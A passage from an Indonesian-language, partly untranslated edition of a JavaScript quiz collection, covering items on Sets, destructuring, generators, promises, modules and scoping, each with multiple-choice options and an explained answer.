\n\n#### Jawaban: A\n\nWe can delete properties from objects using the `delete` keyword, also on the prototype. By deleting a property on the prototype, it is not available anymore in the prototype chain. In this case, the `bark` function is not available anymore on the prototype after `delete Dog.prototype.bark`, yet we still try to access it.\n\nWhen we try to invoke something that is not a function, a `TypeError` is thrown. In this case `TypeError: pet.bark is not a function`, since `pet.bark` is `undefined`.\n\n

\n
\n\n---\n\n###### 56. Apa yang akan tampil?\n\n```javascript\nconst set = new Set([1, 1, 2, 3, 4]);\n\nconsole.log(set);\n```\n\n- A: `[1, 1, 2, 3, 4]`\n- B: `[1, 2, 3, 4]`\n- C: `{1, 1, 2, 3, 4}`\n- D: `{1, 2, 3, 4}`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nThe `Set` object is a collection of _unique_ values: a value can only occur once in a set.\n\nWe passed the iterable `[1, 1, 2, 3, 4]` with a duplicate value `1`. Since we cannot have two of the same values in a set, one of them is removed. This results in `{1, 2, 3, 4}`.\n\n

\n
\n\n---\n\n###### 57. Apa yang akan tampil?\n\n```javascript\n// counter.js\nlet counter = 10;\nexport default counter;\n```\n\n```javascript\n// index.js\nimport myCounter from './counter';\n\nmyCounter += 1;\n\nconsole.log(myCounter);\n```\n\n- A: `10`\n- B: `11`\n- C: `Error`\n- D: `NaN`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nModul yang diimpor adalah _read-only_: Anda tidak dapat mengubah modul yang diimpor. Hanya modul yang mengekspornya yang dapat mengubah nilainya.\n\nKetika kita mencoba untuk menambah nilai `myCounter`, itu melemparkan kesalahan: `myCounter` adalah baca-saja dan tidak dapat dimodifikasi.\n\n\n

\n
\n\n---\n\n###### 58. Apa yang akan tampil?\n\n```javascript\nconst name = 'Lydia';\nage = 21;\n\nconsole.log(delete name);\nconsole.log(delete age);\n```\n\n- A: `false`, `true`\n- B: `\"Lydia\"`, `21`\n- C: `true`, `true`\n- D: `undefined`, `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nThe `delete` operator returns a boolean value: `true` on a successful deletion, else it'll return `false`. However, variables declared with the `var`, `const` or `let` keyword cannot be deleted using the `delete` operator.\n\nThe `name` variable was declared with a `const` keyword, so its deletion is not successful: `false` is returned. When we set `age` equal to `21`, we actually added a property called `age` to the global object. You can successfully delete properties from objects this way, also the global object, so `delete age` returns `true`.\n\n

\n
\n\n---\n\n###### 59. Apa yang akan tampil?\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5];\nconst [y] = numbers;\n\nconsole.log(y);\n```\n\n- A: `[[1, 2, 3, 4, 5]]`\n- B: `[1, 2, 3, 4, 5]`\n- C: `1`\n- D: `[1]`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWe can unpack values from arrays or properties from objects through destructuring. For example:\n\n```javascript\n[a, b] = [1, 2];\n```\n\n\n\nThe value of `a` is now `1`, and the value of `b` is now `2`. What we actually did in the question, is:\n\n```javascript\n[y] = [1, 2, 3, 4, 5];\n```\n\n\n\nThis means that the value of `y` is equal to the first value in the array, which is the number `1`. When we log `y`, `1` is returned.\n\n

\n
\n\n---\n\n###### 60. Apa yang akan tampil?\n\n```javascript\nconst user = { name: 'Lydia', age: 21 };\nconst admin = { admin: true, ...user };\n\nconsole.log(admin);\n```\n\n- A: `{ admin: true, user: { name: \"Lydia\", age: 21 } }`\n- B: `{ admin: true, name: \"Lydia\", age: 21 }`\n- C: `{ admin: true, user: [\"Lydia\", 21] }`\n- D: `{ admin: true }`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nIt's possible to combine objects using the spread operator `...`. It lets you create copies of the key/value pairs of one object, and add them to another object. In this case, we create copies of the `user` object, and add them to the `admin` object. The `admin` object now contains the copied key/value pairs, which results in `{ admin: true, name: \"Lydia\", age: 21 }`.\n\n

\n
\n\n---\n\n###### 61. Apa yang akan tampil?\n\n```javascript\nconst person = { name: 'Lydia' };\n\nObject.defineProperty(person, 'age', { value: 21 });\n\nconsole.log(person);\nconsole.log(Object.keys(person));\n```\n\n- A: `{ name: \"Lydia\", age: 21 }`, `[\"name\", \"age\"]`\n- B: `{ name: \"Lydia\", age: 21 }`, `[\"name\"]`\n- C: `{ name: \"Lydia\"}`, `[\"name\", \"age\"]`\n- D: `{ name: \"Lydia\"}`, `[\"age\"]`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWith the `defineProperty` method, we can add new properties to an object, or modify existing ones. When we add a property to an object using the `defineProperty` method, they are by default _not enumerable_. The `Object.keys` method returns all _enumerable_ property names from an object, in this case only `\"name\"`.\n\nProperties added using the `defineProperty` method are immutable by default. You can override this behavior using the `writable`, `configurable` and `enumerable` properties. This way, the `defineProperty` method gives you a lot more control over the properties you're adding to an object.\n\n

\n
\n\n---\n\n###### 62. Apa yang akan tampil?\n\n```javascript\nconst settings = {\n username: 'lydiahallie',\n level: 19,\n health: 90,\n};\n\nconst data = JSON.stringify(settings, ['level', 'health']);\nconsole.log(data);\n```\n\n- A: `\"{\"level\":19, \"health\":90}\"`\n- B: `\"{\"username\": \"lydiahallie\"}\"`\n- C: `\"[\"level\", \"health\"]\"`\n- D: `\"{\"username\": \"lydiahallie\", \"level\":19, \"health\":90}\"`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nThe second argument of `JSON.stringify` is the _replacer_. The replacer can either be a function or an array, and lets you control what and how the values should be stringified.\n\nIf the replacer is an _array_, only the property names included in the array will be added to the JSON string. In this case, only the properties with the names `\"level\"` and `\"health\"` are included, `\"username\"` is excluded. `data` is now equal to `\"{\"level\":19, \"health\":90}\"`.\n\nIf the replacer is a _function_, this function gets called on every property in the object you're stringifying. The value returned from this function will be the value of the property when it's added to the JSON string. If the value is `undefined`, this property is excluded from the JSON string.\n\n

\n
\n\n---\n\n###### 63. Apa yang akan tampil?\n\n```javascript\nlet num = 10;\n\nconst increaseNumber = () => num++;\nconst increasePassedNumber = number => number++;\n\nconst num1 = increaseNumber();\nconst num2 = increasePassedNumber(num1);\n\nconsole.log(num1);\nconsole.log(num2);\n```\n\n- A: `10`, `10`\n- B: `10`, `11`\n- C: `11`, `11`\n- D: `11`, `12`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nThe unary operator `++` _first returns_ the value of the operand, _then increments_ the value of the operand. The value of `num1` is `10`, since the `increaseNumber` function first returns the value of `num`, which is `10`, and only increments the value of `num` afterwards.\n\n`num2` is `10`, since we passed `num1` to the `increasePassedNumber`. `number` is equal to `10`(the value of `num1`. Again, the unary operator `++` _first returns_ the value of the operand, _then increments_ the value of the operand. The value of `number` is `10`, so `num2` is equal to `10`.\n\n

\n
\n\n---\n\n###### 64. Apa yang akan tampil?\n\n```javascript\nconst value = { number: 10 };\n\nconst multiply = (x = { ...value }) => {\n console.log((x.number *= 2));\n};\n\nmultiply();\nmultiply();\nmultiply(value);\nmultiply(value);\n```\n\n- A: `20`, `40`, `80`, `160`\n- B: `20`, `40`, `20`, `40`\n- C: `20`, `20`, `20`, `40`\n- D: `NaN`, `NaN`, `20`, `40`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nIn ES6, we can initialize parameters with a default value. The value of the parameter will be the default value, if no other value has been passed to the function, or if the value of the parameter is `\"undefined\"`. In this case, we spread the properties of the `value` object into a new object, so `x` has the default value of `{ number: 10 }`.\n\nThe default argument is evaluated at _call time_! Every time we call the function, a _new_ object is created. We invoke the `multiply` function the first two times without passing a value: `x` has the default value of `{ number: 10 }`. We then log the multiplied value of that number, which is `20`.\n\nThe third time we invoke multiply, we do pass an argument: the object called `value`. The `*=` operator is actually shorthand for `x.number = x.number * 2`: we modify the value of `x.number`, and log the multiplied value `20`.\n\nThe fourth time, we pass the `value` object again. `x.number` was previously modified to `20`, so `x.number *= 2` logs `40`.\n\n

\n
\n\n---\n\n###### 65. Apa yang akan tampil?\n\n```javascript\n[1, 2, 3, 4].reduce((x, y) => console.log(x, y));\n```\n\n- A: `1` `2` and `3` `3` and `6` `4`\n- B: `1` `2` and `2` `3` and `3` `4`\n- C: `1` `undefined` and `2` `undefined` and `3` `undefined` and `4` `undefined`\n- D: `1` `2` and `undefined` `3` and `undefined` `4`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nThe first argument that the `reduce` method receives is the _accumulator_, `x` in this case. The second argument is the _current value_, `y`. With the reduce method, we execute a callback function on every element in the array, which could ultimately result in one single value.\n\nIn this example, we are not returning any values, we are simply logging the values of the accumulator and the current value.\n\nThe value of the accumulator is equal to the previously returned value of the callback function. If you don't pass the optional `initialValue` argument to the `reduce` method, the accumulator is equal to the first element on the first call.\n\nOn the first call, the accumulator (`x`) is `1`, and the current value (`y`) is `2`. We don't return from the callback function, we log the accumulator and current value: `1` and `2` get logged.\n\nIf you don't return a value from a function, it returns `undefined`. On the next call, the accumulator is `undefined`, and the current value is `3`. `undefined` and `3` get logged.\n\nOn the fourth call, we again don't return from the callback function. The accumulator is again `undefined`, and the current value is `4`. `undefined` and `4` get logged.\n\n

\n
\n---\n\n###### 66. With which constructor can we successfully extend the `Dog` class?\n\n```javascript\nclass Dog {\n constructor(name) {\n this.name = name;\n }\n};\n\nclass Labrador extends Dog {\n // 1\n constructor(name, size) {\n this.size = size;\n }\n // 2\n constructor(name, size) {\n super(name);\n this.size = size;\n }\n // 3\n constructor(size) {\n super(name);\n this.size = size;\n }\n // 4\n constructor(name, size) {\n this.name = name;\n this.size = size;\n }\n\n};\n```\n\n- A: 1\n- B: 2\n- C: 3\n- D: 4\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nIn a derived class, you cannot access the `this` keyword before calling `super`. If you try to do that, it will throw a ReferenceError: 1 and 4 would throw a reference error.\n\nWith the `super` keyword, we call that parent class's constructor with the given arguments. The parent's constructor receives the `name` argument, so we need to pass `name` to `super`.\n\nThe `Labrador` class receives two arguments, `name` since it extends `Dog`, and `size` as an extra property on the `Labrador` class. They both need to be passed to the constructor function on `Labrador`, which is done correctly using constructor 2.\n\n

\n
\n\n---\n\n###### 67. Apa yang akan tampil?\n\n```javascript\n// index.js\nconsole.log('running index.js');\nimport { sum } from './sum.js';\nconsole.log(sum(1, 2));\n\n// sum.js\nconsole.log('running sum.js');\nexport const sum = (a, b) => a + b;\n```\n\n- A: `running index.js`, `running sum.js`, `3`\n- B: `running sum.js`, `running index.js`, `3`\n- C: `running sum.js`, `3`, `running index.js`\n- D: `running index.js`, `undefined`, `running sum.js`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWith the `import` keyword, all imported modules are _pre-parsed_. This means that the imported modules get run _first_, the code in the file which imports the module gets executed _after_.\n\nThis is a difference between `require()` in CommonJS and `import`! With `require()`, you can load dependencies on demand while the code is being run. If we would have used `require` instead of `import`, `running index.js`, `running sum.js`, `3` would have been logged to the console.\n\n

\n
\n\n---\n\n###### 68. Apa yang akan tampil?\n\n```javascript\nconsole.log(Number(2) === Number(2));\nconsole.log(Boolean(false) === Boolean(false));\nconsole.log(Symbol('foo') === Symbol('foo'));\n```\n\n- A: `true`, `true`, `false`\n- B: `false`, `true`, `false`\n- C: `true`, `false`, `true`\n- D: `true`, `true`, `true`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nEvery Symbol is entirely unique. The purpose of the argument passed to the Symbol is to give the Symbol a description. The value of the Symbol is not dependent on the passed argument. As we test equality, we are creating two entirely new symbols: the first `Symbol('foo')`, and the second `Symbol('foo')`. These two values are unique and not equal to each other, `Symbol('foo') === Symbol('foo')` returns `false`.\n\n

\n
\n\n---\n\n###### 69. Apa yang akan tampil?\n\n```javascript\nconst name = 'Lydia Hallie';\nconsole.log(name.padStart(13));\nconsole.log(name.padStart(2));\n```\n\n- A: `\"Lydia Hallie\"`, `\"Lydia Hallie\"`\n- B: `\" Lydia Hallie\"`, `\" Lydia Hallie\"` (`\"[13x whitespace]Lydia Hallie\"`, `\"[2x whitespace]Lydia Hallie\"`)\n- C: `\" Lydia Hallie\"`, `\"Lydia Hallie\"` (`\"[1x whitespace]Lydia Hallie\"`, `\"Lydia Hallie\"`)\n- D: `\"Lydia Hallie\"`, `\"Lyd\"`,\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWith the `padStart` method, we can add padding to the beginning of a string. The value passed to this method is the _total_ length of the string together with the padding. The string `\"Lydia Hallie\"` has a length of `12`. `name.padStart(13)` inserts 1 space at the start of the string, because 12 + 1 is 13.\n\nIf the argument passed to the `padStart` method is smaller than the length of the array, no padding will be added.\n\n

\n
\n\n---\n\n###### 70. Apa yang akan tampil?\n\n```javascript\nconsole.log('🥑' + '💻');\n```\n\n- A: `\"🥑💻\"`\n- B: `257548`\n- C: A string containing their code points\n- D: Error\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWith the `+` operator, you can concatenate strings. In this case, we are concatenating the string `\"🥑\"` with the string `\"💻\"`, resulting in `\"🥑💻\"`.\n\n

\n
\n\n---\n\n###### 71. How can we log the values that are commented out after the console.log statement?\n\n```javascript\nfunction* startGame() {\n const answer = yield 'Do you love JavaScript?';\n if (answer !== 'Yes') {\n return \"Oh wow... Guess we're gone here\";\n }\n return 'JavaScript loves you back ❤️';\n}\n\nconst game = startGame();\nconsole.log(/* 1 */); // Do you love JavaScript?\nconsole.log(/* 2 */); // JavaScript loves you back ❤️\n```\n\n- A: `game.next(\"Yes\").value` dan `game.next().value`\n- B: `game.next.value(\"Yes\")` dan `game.next.value()`\n- C: `game.next().value` dan `game.next(\"Yes\").value`\n- D: `game.next.value()` dan `game.next.value(\"Yes\")`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nA generator function \"pauses\" its execution when it sees the `yield` keyword. First, we have to let the function yield the string \"Do you love JavaScript?\", which can be done by calling `game.next().value`.\n\nEvery line is executed, until it finds the first `yield` keyword. There is a `yield` keyword on the first line within the function: the execution stops with the first yield! _This means that the variable `answer` is not defined yet!_\n\nWhen we call `game.next(\"Yes\").value`, the previous `yield` is replaced with the value of the parameters passed to the `next()` function, `\"Yes\"` in this case. The value of the variable `answer` is now equal to `\"Yes\"`. The condition of the if-statement returns `false`, and `JavaScript loves you back ❤️` gets logged.\n\n

\n
\n\n---\n\n###### 72. Apa yang akan tampil?\n\n```javascript\nconsole.log(String.raw`Hello\\nworld`);\n```\n\n- A: `Hello world!`\n- B: `Hello`
&nbsp; &nbsp; &nbsp;`world`\n- C: `Hello\\nworld`\n- D: `Hello\\n`
&nbsp; &nbsp; &nbsp;`world`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\n`String.raw` returns a string where the escapes (`\\n`, `\\v`, `\\t` etc.) are ignored! Backslashes can be an issue since you could end up with something like:\n\n`` const path = `C:\\Documents\\Projects\\table.html` ``\n\nWhich would result in:\n\n`\"C:DocumentsProjects able.html\"`\n\nWith `String.raw`, it would simply ignore the escape and print:\n\n`C:\\Documents\\Projects\\table.html`\n\nIn this case, the string is `Hello\\nworld`, which gets logged.\n\n

\n
\n\n---\n\n###### 73. Apa yang akan tampil?\n\n```javascript\nasync function getData() {\n return await Promise.resolve('I made it!');\n}\n\nconst data = getData();\nconsole.log(data);\n```\n\n- A: `\"I made it!\"`\n- B: `Promise {: \"I made it!\"}`\n- C: `Promise {}`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nAn async function always returns a promise. The `await` still has to wait for the promise to resolve: a pending promise gets returned when we call `getData()` in order to set `data` equal to it.\n\nIf we wanted to get access to the resolved value `\"I made it\"`, we could have used the `.then()` method on `data`:\n\n`data.then(res => console.log(res))`\n\nThis would've logged `\"I made it!\"`\n\n

\n
\n\n---\n\n###### 74. Apa yang akan tampil?\n\n```javascript\nfunction addToList(item, list) {\n return list.push(item);\n}\n\nconst result = addToList('apple', ['banana']);\nconsole.log(result);\n```\n\n- A: `['apple', 'banana']`\n- B: `2`\n- C: `true`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nThe `.push()` method returns the _length_ of the new array! Previously, the array contained one element (the string `\"banana\"`) and had a length of `1`. After adding the string `\"apple\"` to the array, the array contains two elements, and has a length of `2`. This gets returned from the `addToList` function.\n\nThe `push` method modifies the original array. If you wanted to return the _array_ from the function rather than the _length of the array_, you should have returned `list` after pushing `item` to it.\n\n

\n
\n\n---\n\n###### 75. Apa yang akan tampil?\n\n```javascript\nconst box = { x: 10, y: 20 };\n\nObject.freeze(box);\n\nconst shape = box;\nshape.x = 100;\n\nconsole.log(shape);\n```\n\n- A: `{ x: 100, y: 20 }`\n- B: `{ x: 10, y: 20 }`\n- C: `{ x: 100 }`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\n`Object.freeze` makes it impossible to add, remove, or modify properties of an object (unless the property's value is another object).\n\nWhen we create the variable `shape` and set it equal to the frozen object `box`, `shape` also refers to a frozen object. You can check whether an object is frozen by using `Object.isFrozen`. In this case, `Object.isFrozen(shape)` returns true, since the variable `shape` has a reference to a frozen object.\n\nSince `shape` is frozen, and since the value of `x` is not an object, we cannot modify the property `x`. `x` is still equal to `10`, and `{ x: 10, y: 20 }` gets logged.\n\n

\n
\n\n---\n\n###### 76. Apa yang akan tampil?\n\n```javascript\nconst { name: myName } = { name: 'Lydia' };\n\nconsole.log(name);\n```\n\n- A: `\"Lydia\"`\n- B: `\"myName\"`\n- C: `undefined`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nWhen we unpack the property `name` from the object on the right-hand side, we assign its value `\"Lydia\"` to a variable with the name `myName`.\n\nWith `{ name: myName }`, we tell JavaScript that we want to create a new variable called `myName` with the value of the `name` property on the right-hand side.\n\nSince we try to log `name`, a variable that is not defined, a ReferenceError gets thrown.\n\n

\n
\n\n---\n\n###### 77. Is this a pure function?\n\n```javascript\nfunction sum(a, b) {\n return a + b;\n}\n```\n\n- A: Yes\n- B: No\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nA pure function is a function that _always_ returns the same result, if the same arguments are passed.\n\nThe `sum` function always returns the same result. If we pass `1` and `2`, it will _always_ return `3` without side effects. If we pass `5` and `10`, it will _always_ return `15`, and so on. This is the definition of a pure function.\n\n

\n
\n\n---\n\n###### 78. What is the output?\n\n```javascript\nconst add = () => {\n const cache = {};\n return num => {\n if (num in cache) {\n return `From cache! ${cache[num]}`;\n } else {\n const result = num + 10;\n cache[num] = result;\n return `Calculated! ${result}`;\n }\n };\n};\n\nconst addFunction = add();\nconsole.log(addFunction(10));\nconsole.log(addFunction(10));\nconsole.log(addFunction(5 * 2));\n```\n\n- A: `Calculated! 20` `Calculated! 20` `Calculated! 20`\n- B: `Calculated! 20` `From cache! 20` `Calculated! 20`\n- C: `Calculated! 20` `From cache! 20` `From cache! 20`\n- D: `Calculated! 20` `From cache! 20` `Error`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nThe `add` function is a _memoized_ function. With memoization, we can cache the results of a function in order to speed up its execution. In this case, we create a `cache` object that stores the previously returned values.\n\nIf we call the `addFunction` function again with the same argument, it first checks whether it has already gotten that value in its cache. If that's the case, the caches value will be returned, which saves on execution time. Else, if it's not cached, it will calculate the value and store it afterwards.\n\nWe call the `addFunction` function three times with the same value: on the first invocation, the value of the function when `num` is equal to `10` isn't cached yet. The condition of the if-statement `num in cache` returns `false`, and the else block gets executed: `Calculated! 20` gets logged, and the value of the result gets added to the cache object. `cache` now looks like `{ 10: 20 }`.\n\nThe second time, the `cache` object contains the value that gets returned for `10`. The condition of the if-statement `num in cache` returns `true`, and `'From cache! 20'` gets logged.\n\nThe third time, we pass `5 * 2` to the function which gets evaluated to `10`. The `cache` object contains the value that gets returned for `10`. The condition of the if-statement `num in cache` returns `true`, and `'From cache! 20'` gets logged.\n\n

\n
\n\n---\n\n###### 79. What is the output?\n\n```javascript\nconst myLifeSummedUp = ['☕', '💻', '🍷', '🍫'];\n\nfor (let item in myLifeSummedUp) {\n console.log(item);\n}\n\nfor (let item of myLifeSummedUp) {\n console.log(item);\n}\n```\n\n- A: `0` `1` `2` `3` and `\"☕\"` `\"💻\"` `\"🍷\"` `\"🍫\"`\n- B: `\"☕\"` `\"💻\"` `\"🍷\"` `\"🍫\"` and `\"☕\"` `\"💻\"` `\"🍷\"` `\"🍫\"`\n- C: `\"☕\"` `\"💻\"` `\"🍷\"` `\"🍫\"` and `0` `1` `2` `3`\n- D: `0` `1` `2` `3` and `{0: \"☕\", 1: \"💻\", 2: \"🍷\", 3: \"🍫\"}`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWith a _for-in_ loop, we can iterate over **enumerable** properties. In an array, the enumerable properties are the \"keys\" of array elements, which are actually their indexes. You could see an array as:\n\n`{0: \"☕\", 1: \"💻\", 2: \"🍷\", 3: \"🍫\"}`\n\nWhere the keys are the enumerable properties. `0` `1` `2` `3` get logged.\n\nWith a _for-of_ loop, we can iterate over **iterables**. An array is an iterable. When we iterate over the array, the variable \"item\" is equal to the element it's currently iterating over, `\"☕\"` `\"💻\"` `\"🍷\"` `\"🍫\"` get logged.\n\n

\n
\n\n---\n\n###### 80. Apa yang akan tampil?\n\n```javascript\nconst list = [1 + 2, 1 * 2, 1 / 2];\nconsole.log(list);\n```\n\n- A: `[\"1 + 2\", \"1 * 2\", \"1 / 2\"]`\n- B: `[\"12\", 2, 0.5]`\n- C: `[3, 2, 0.5]`\n- D: `[1, 1, 1]`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nElemen array dapat berisi beberapa nilai. angka, string, objek, array lain, null, nilai boolean, undefined, dan lainnya seperti tanggal, fungsi, dan kalkulasi.\n\nelemen akan sama dengan nilai hasilnya. `1 + 2` menghasilkan `3`, `1 * 2` menghasilkan `2`, dan `1 / 2` menghasilkan `0.5`.\n\n

\n
\n\n---\n\n###### 81. Apa yang akan tampil?\n\n```javascript\nfunction sayHi(name) {\n return `Hi there, ${name}`;\n}\n\nconsole.log(sayHi());\n```\n\n- A: `Hi there,`\n- B: `Hi there, undefined`\n- C: `Hi there, null`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nSecara default, arguments memiliki nilai `undefined`, kecuali nilai telah diisi ke fungsi. Pada kasus ini, kita tidak mengisi nilai untuk argument `name`. `name` sama dengan `undefined` yang mana mendapat catatan.\n\nDi ES6, kita dapat menulis ulang nilai default `undefined` dengan parameter default. Sebagai contoh:\n\n`function sayHi(name = \"Lydia\") { ... }`\n\nPada kasus ini, juka kita tidak mengisi nilai atau mengisi `undefined`, `name` akan selalu sama dengan string `Lydia`\n\n

\n
\n\n---\n\n###### 82. What is the output?\n\n```javascript\nvar status = '😎';\n\nsetTimeout(() => {\n const status = '😍';\n\n const data = {\n status: '🥑',\n getStatus() {\n return this.status;\n },\n };\n\n console.log(data.getStatus());\n console.log(data.getStatus.call(this));\n}, 0);\n```\n\n- A: `\"🥑\"` and `\"😍\"`\n- B: `\"🥑\"` and `\"😎\"`\n- C: `\"😍\"` and `\"😎\"`\n- D: `\"😎\"` and `\"😎\"`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nThe value of the `this` keyword is dependent on where you use it. In a **method**, like the `getStatus` method, the `this` keyword refers to _the object that the method belongs to_. The method belongs to the `data` object, so `this` refers to the `data` object. When we log `this.status`, the `status` property on the `data` object gets logged, which is `\"🥑\"`.\n\nWith the `call` method, we can change the object to which the `this` keyword refers. In **functions**, the `this` keyword refers to the _the object that the function belongs to_. We declared the `setTimeout` function on the _global object_, so within the `setTimeout` function, the `this` keyword refers to the _global object_. On the global object, there is a variable called _status_ with the value of `\"😎\"`. When logging `this.status`, `\"😎\"` gets logged.\n\n

\n
\n\n---\n\n###### 83. What is the output?\n\n```javascript\nconst person = {\n name: 'Lydia',\n age: 21,\n};\n\nlet city = person.city;\ncity = 'Amsterdam';\n\nconsole.log(person);\n```\n\n- A: `{ name: \"Lydia\", age: 21 }`\n- B: `{ name: \"Lydia\", age: 21, city: \"Amsterdam\" }`\n- C: `{ name: \"Lydia\", age: 21, city: undefined }`\n- D: `\"Amsterdam\"`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWe set the variable `city` equal to the value of the property called `city` on the `person` object. There is no property on this object called `city`, so the variable `city` has the value of `undefined`.\n\nNote that we are _not_ referencing the `person` object itself! We simply set the variable `city` equal to the current value of the `city` property on the `person` object.\n\nThen, we set `city` equal to the string `\"Amsterdam\"`. This doesn't change the person object: there is no reference to that object.\n\nWhen logging the `person` object, the unmodified object gets returned.\n\n

\n
\n\n---\n\n###### 84. What is the output?\n\n```javascript\nfunction checkAge(age) {\n if (age < 18) {\n const message = \"Sorry, you're too young.\";\n } else {\n const message = \"Yay! You're old enough!\";\n }\n\n return message;\n}\n\nconsole.log(checkAge(21));\n```\n\n- A: `\"Sorry, you're too young.\"`\n- B: `\"Yay! You're old enough!\"`\n- C: `ReferenceError`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nVariables with the `const` and `let` keyword are _block-scoped_. A block is anything between curly brackets (`{ }`). In this case, the curly brackets of the if/else statements. You cannot reference a variable outside of the block it's declared in, a ReferenceError gets thrown.\n\n

\n
\n\n---\n\n###### 85. What kind of information would get logged?\n\n```javascript\nfetch('https://www.website.com/api/user/1')\n .then(res => res.json())\n .then(res => console.log(res))\n```\n\n- A: The result of the `fetch` method.\n- B: The result of the second invocation of the `fetch` method.\n- C: The result of the callback in the previous `.then()`.\n- D: It would always be undefined.\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nThe value of `res` in the second `.then` is equal to the returned value of the previous `.then`. You can keep chaining `.then`s like this, where the value is passed to the next handler.\n\n

\n
\n\n---\n\n###### 86. Which option is a way to set `hasName` equal to `true`, provided you cannot pass `true` as an argument?\n\n```javascript\nfunction getName(name) {\n const hasName = //\n}\n```\n\n- A: `!!name`\n- B: `name`\n- C: `new Boolean(name)`\n- D: `name.length`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWith `!!name`, we determine whether the value of `name` is truthy or falsy. If name is truthy, which we want to test for, `!name` returns `false`. `!false` (which is what `!!name` practically is) returns `true`.\n\nBy setting `hasName` equal to `name`, you set `hasName` equal to whatever value you passed to the `getName` function, not the boolean value `true`.\n\n`new Boolean(true)` returns an object wrapper, not the boolean value itself.\n\n`name.length` returns the length of the passed argument, not whether it's `true`.\n\n

\n
\n\n---\n\n###### 87. Apa yang akan tampil?\n\n```javascript\nconsole.log('I want pizza'[0]);\n```\n\n- A: `\"\"\"`\n- B: `\"I\"`\n- C: `SyntaxError`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nIn order to get an character on a specific index in a string, you can use bracket notation. The first character in the string has index 0, and so on. In this case we want to get the element which index is 0, the character `\"I'`, which gets logged.\n\nNote that this method is not supported in IE7 and below. In that case, use `.charAt()`\n\n

\n
\n\n---\n\n###### 88. Apa yang akan tampil?\n\n```javascript\nfunction sum(num1, num2 = num1) {\n console.log(num1 + num2);\n}\n\nsum(10);\n```\n\n- A: `NaN`\n- B: `20`\n- C: `ReferenceError`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nYou can set a default parameter's value equal to another parameter of the function, as long as they've been defined _before_ the default parameter. We pass the value `10` to the `sum` function. If the `sum` function only receives 1 argument, it means that the value for `num2` is not passed, and the value of `num1` is equal to the passed value `10` in this case. The default value of `num2` is the value of `num1`, which is `10`. `num1 + num2` returns `20`.\n\nIf you're trying to set a default parameter's value equal to a parameter which is defined _after_ (to the right), the parameter's value hasn't been initialized yet, which will throw an error.\n\n

\n
\n\n---\n\n###### 89. Apa yang akan tampil?\n\n```javascript\n// module.js\nexport default () => 'Hello world';\nexport const name = 'Lydia';\n\n// index.js\nimport * as data from './module';\n\nconsole.log(data);\n```\n\n- A: `{ default: function default(), name: \"Lydia\" }`\n- B: `{ default: function default() }`\n- C: `{ default: \"Hello world\", name: \"Lydia\" }`\n- D: Global object of `module.js`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWith the `import * as name` syntax, we import _all exports_ from the `module.js` file into the `index.js` file as a new object called `data` is created. In the `module.js` file, there are two exports: the default export, and a named export. The default export is a function which returns the string `\"Hello World\"`, and the named export is a variable called `name` which has the value of the string `\"Lydia\"`.\n\nThe `data` object has a `default` property for the default export, other properties have the names of the named exports and their corresponding values.\n\n

\n
\n\n---\n\n###### 90. Apa yang akan tampil?\n\n```javascript\nclass Person {\n constructor(name) {\n this.name = name;\n }\n}\n\nconst member = new Person('John');\nconsole.log(typeof member);\n```\n\n- A: `\"class\"`\n- B: `\"function\"`\n- C: `\"object\"`\n- D: `\"string\"`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nClasses are syntactical sugar for function constructors. The equivalent of the `Person` class as a function constructor would be:\n\n```javascript\nfunction Person() {\n this.name = name;\n}\n```\n\nCalling a function constructor with `new` results in the creation of an instance of `Person`, `typeof` keyword returns `\"object\"` for an instance. `typeof member` returns `\"object\"`.\n\n

\n
\n\n---\n\n###### 91. Apa yang akan tampil?\n\n```javascript\nlet newList = [1, 2, 3].push(4);\n\nconsole.log(newList.push(5));\n```\n\n- A: `[1, 2, 3, 4, 5]`\n- B: `[1, 2, 3, 5]`\n- C: `[1, 2, 3, 4]`\n- D: `Error`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nThe `.push` method returns the _new length_ of the array, not the array itself! By setting `newList` equal to `[1, 2, 3].push(4)`, we set `newList` equal to the new length of the array: `4`.\n\nThen, we try to use the `.push` method on `newList`. Since `newList` is the numerical value `4`, we cannot use the `.push` method: a TypeError is thrown.\n\n

\n
